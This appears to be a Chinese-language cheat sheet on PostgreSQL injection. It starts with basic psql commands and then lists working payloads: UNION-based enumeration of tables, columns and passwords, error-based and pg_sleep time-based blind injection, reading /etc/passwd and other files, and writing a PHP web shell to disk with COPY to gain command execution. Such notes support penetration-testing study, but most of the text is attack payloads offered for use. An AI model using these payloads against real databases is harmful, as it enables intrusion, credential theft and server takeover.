https://www.runoob.com/postgresql/windows-install-postgresql.html
PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS)。
默认端口是5432,默认用户名和数据库都是postgres
。
简单弄个数据表:
感觉postgresql对于类型上的限制更大一下,注入前语句最好都本地测试一下。
指的是命令行操作psql的时候的基本命令
--列举数据库:
\l
--选择数据库:
\c 数据库名
--查看该某个库中的所有表:
\dt
--切换数据库:
\c interface
--查看某个库中的某个表结构:
\d 表名
--查看某个库中某个表的记录:
select * from apps limit 1;
--显示字符集:
\encoding
--退出psgl:
\q
--psql客户端每行仅仅显示一个字段以及该字段值.
\x
select CURRENT_SCHEMA() #查看当前权限
#一般是public,用户默认情况下具有public权限,public默认具有创建和使用schema的权限,因此意味着可以在schema中创建对象(包括表)、列出schema中的对象,并在其权限允许时访问它们。
select user #查看用户
#默认是postgres
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度
select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
select * from users where id = 1 order by 3
select * from users where id = -1 union select 1,'2','3'--这是注释
获取模式名称schemaname:
select * from users where id = -1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--
获取数据表:
select * from users where id = -1 UNION SELECT NULL,tablename,NULL FROM pg_tables where schemaname in ('public')
获取列名:
select * from users where id = -1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='users' AND nspname='public'
获取内容:
select * from users where id = -1 UNION SELECT null,null,password from users
当然有比较简单的查询办法,因为postgresql
中也是有information
表的。
select * from users where id = -1 UNION select null,null, 'table_name' from information_schema.columns where table_schema='public' and table_name<>'pg_stat_statements';
select * from users where id = -1 UNION select null,null, column_name from information_schema.columns where table_schema='public' and table_name<>'pg_stat_statements' and table_name = 'users' limit 1 offset 1;
select * from users where id = 1 AND 1=CAST((SELECT version())::text AS NUMERIC)
--错误: 无效的类型 numeric 输入语法: "PostgreSQL 14.2, compiled by Visual C++ build 1914, 64-bit"
postgresql中延时函数是pg_sleep
。
select * from users where id = -1 or 1=(select 123 from PG_SLEEP(5))
和mysql
一样用分号。
select * from users where id = -1 union select 1,(select case when 1=2 then 'a' else 'b' end),'3' --
postgresql中没有if
,用的是case when xxx then xxx else xxx end
。
列目录函数pg_ls_dir
:
select * from users where id = -1 union select null,null,pg_ls_dir('./')
写文件(一般用于rce):
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');
COPY hacktb(t) TO 'D:\1.txt';
读文件:
DROP table hacktb;
CREATE TABLE hacktb (t TEXT);
COPY hacktb from 'D:\flag';
select * from hacktb
实际上文件操作别的系列函数比如pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
等,但是这些都会收到权限和目录的限制,根据实际情况测试使用。